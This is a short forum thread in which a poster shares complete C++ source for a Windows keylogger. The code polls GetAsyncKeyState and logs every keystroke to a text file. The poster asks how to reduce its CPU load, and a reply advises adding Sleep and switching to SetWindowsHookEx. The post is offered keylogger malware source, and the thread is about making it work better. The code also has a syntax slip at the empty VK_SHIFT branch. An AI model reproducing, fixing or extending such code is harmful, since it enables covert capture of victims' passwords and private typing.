keylogger help!!!

[lolimsoasd]

#include <iostream>
#include <windows.h>
#include <winuser.h>
 
int Save (int key_stroke, char *log);
 
int main()
{
    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS); // already found out
    char i;
    std::cout << "keylogging started" << std::endl;
 
    while (1)
    {
        for (i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i, "asd.txt");
        }
    }
    system("pause");
    return 0;
}
int Save (int key_stroke, char *log)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;
 
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(log, "a+");
 
    std::cout << key_stroke << std::endl;
 
        if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
        else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
        else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
 
fclose (OUTPUT_FILE);
    return 0;
}

this shit uses 100% cpu, how to reduce cpu usage?

[lolimsoasd]

Re: keylogger help!!!

I could use sleep, but where and how much?

[mencore]

Re: keylogger help!!!

Throw some Sleep after while( 1 ) to let your CPU out of it's pain.
Overall that coden is pretty sloppy, consider using SetWindowsHookEx for keystrokes.

[lolimsoasd]

Re: keylogger help!!!

Throw some Sleep after while( 1 ) to let your CPU out of it's pain.
Overall that coden is pretty sloppy, consider using SetWindowsHookEx for keystrokes.

hmmm but idk how to use it (yet :P)

thanks!